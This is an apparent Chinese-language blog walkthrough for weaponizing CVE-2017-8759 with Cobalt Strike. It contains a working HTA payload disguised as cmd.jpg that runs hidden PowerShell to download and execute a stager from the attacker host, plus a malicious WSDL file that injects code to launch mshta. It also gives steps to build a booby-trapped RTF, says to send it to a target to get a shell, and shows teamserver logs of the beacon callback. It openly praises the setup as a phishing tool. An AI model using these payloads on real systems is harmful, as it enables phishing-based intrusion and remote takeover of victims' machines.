CVE-2017-8759 + Cobalt Strike 完美复现过程笔记

[TOC]

主要参考文章是来自Lz1y 大神的文章:http://www.lz1y.cn/wordpress/?p=799

更新记录:

最新修改与:2017年9月28日

##工具

  1. https://github.com/Lz1y/CVE-2017-8759.git
  2. Cobalt Strike(请自行下载)

##步骤

  1. 在kali上面,执行命令
    git clone https://github.com/Lz1y/CVE-2017-8759.git
  2. 进入cobalt strike目录,执行:
    ./teamserver 192.168.1.9 123456
  3. 在cobalt strike目录,执行./cobaltstrike运行cobalt strike客户端。
  4. 在cobalt strike中新建Listener,类型用http的,端口输入80
  5. 进入该目录,依次修改以下文档:
    5.1 gedit cmd.jpg (先cp cmd.hta cmd.jpg)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    <html>
    <head>
    <script language="VBScript">
    Sub window_onload
    window.resizeTo 0,0
    window.MoveTo -100,-100
    const impersonation = 3
    Const HIDDEN_WINDOW = 12
    Set Locator = CreateObject("WScript.Shell")
    Locator.Run"powershell.exe -nop -w hidden -c ""IEX (new-object net.webclient).downloadstring('http://192.168.1.9:80/a')""",0,FALSE
    window.close()
    end sub
    </script>
    <!--

    <script language="VBScript">
    Sub window_onload
    const impersonation = 3
    Const HIDDEN_WINDOW = 12
    Set Locator = CreateObject("WbemScripting.SWbemLocator")
    Set Service = Locator.ConnectServer()
    Service.Security_.ImpersonationLevel=impersonation
    Set objStartup = Service.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set Process = Service.Get("Win32_Process")
    Error = Process.Create("powershell.exe -nop -w hidden calc.exe", null, objConfig, intProcessID)
    window.close()
    end sub
    </script>
    -->
    </head>
    </html>

微信截图_20170927155342.png
5.2 gedit exploit.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="http://192.168.1.9?C:\Windows\System32\mshta.exe?http://192.168.1.9/cmd.jpg"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
</port>
</service>
</definitions>

微信截图_20170927155425.png
​ 以上两个文档的修改要与cobalt strike相对应

  1. 设置攻击环境:
    6.1 Attacks -> Web Drive-by -> Scripted Web Delivery,启动一个powershell木马,设置如下图:
    微信截图_20170928122539.png
    点击”Launch”之后,会生成一个一句话的Powershell代码,记住其中的网址部分,填写到cmd.jpg中,替换掉url。
    6.2 Attacks -> Web Drive-by -> Host File,将cmd.jpg,一定要将Mime Type修改为application/hta,此处生成的URL请填入exploit.txt中相应的位置。
    6.3 Attacks -> Web Drive-by -> Host File,将exploit.txt,无需特殊设置,设置好Local URI,点击Launch,复制生成的URL。此URLCreateRTF.py脚本-u参数使用的。
    6.3 使用大神的CreatRTF.py生成一个rtf文档,url填写为Host exploit.txt时产生的url。

至此,步骤完成,将生成的rtf文档发送给目标,即可在cobalt strike teamserver上得到shell。

##注意事项

  1. 在设置Listener的时候,最好设置成’http’类型,若按照大神的指引选择HTTPS会有证书提示,无法达到完美效果;如果需要做’https’类型的,请参考[[Cobalt Strike]域名前置技术+SSL部署]
  2. 请在完整版的Office中测试。这个坑我踩了,检查半天无法复现,结果是我的Office不完整,导致不能执行。

##总结
来看下Cobalt Strike的Teamserver 的 Weblog。
通过这里可以发现,当用户打开rtf的时候,目标会去根据exploit.txt里面的url去访问cmd.jpg,通过cmd.jpg中的指令,目标会再次发送请求,访问/a,这行到这里,说明目标正在使用powershell执行我们的一句话,之后的/aGAs/则是目标运行powershell脚本后访问的,至此,一个shell就会出现了。
明白了这个流程,我想大概也就明白各个URL怎么配置了吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
09/28 01:29:13 visit from: 12X.12X.9X.6X
Request: GET /cmd.jpg
page Serves /root/cobaltstrike/uploads/fav.jpg
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

09/28 01:29:14 visit from: 12X.12X.9X.6X
Request: GET /a
page Scripted Web Delivery (powershell)
null

09/28 01:29:15 visit from: 12X.12X.9X.6X
Request: GET /aGAs/
beacon beacon stager x86
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)

##闲话

  1. Cobalt Strike作为网络钓鱼攻击工具使用,简直完美了。
  2. 第一次文章中有些错误,2017年9月28日,已完成修改。给大家带来误导,请见谅!
  3. 修改了多次,有问题的直接留言吧。这次应该不会有问题了。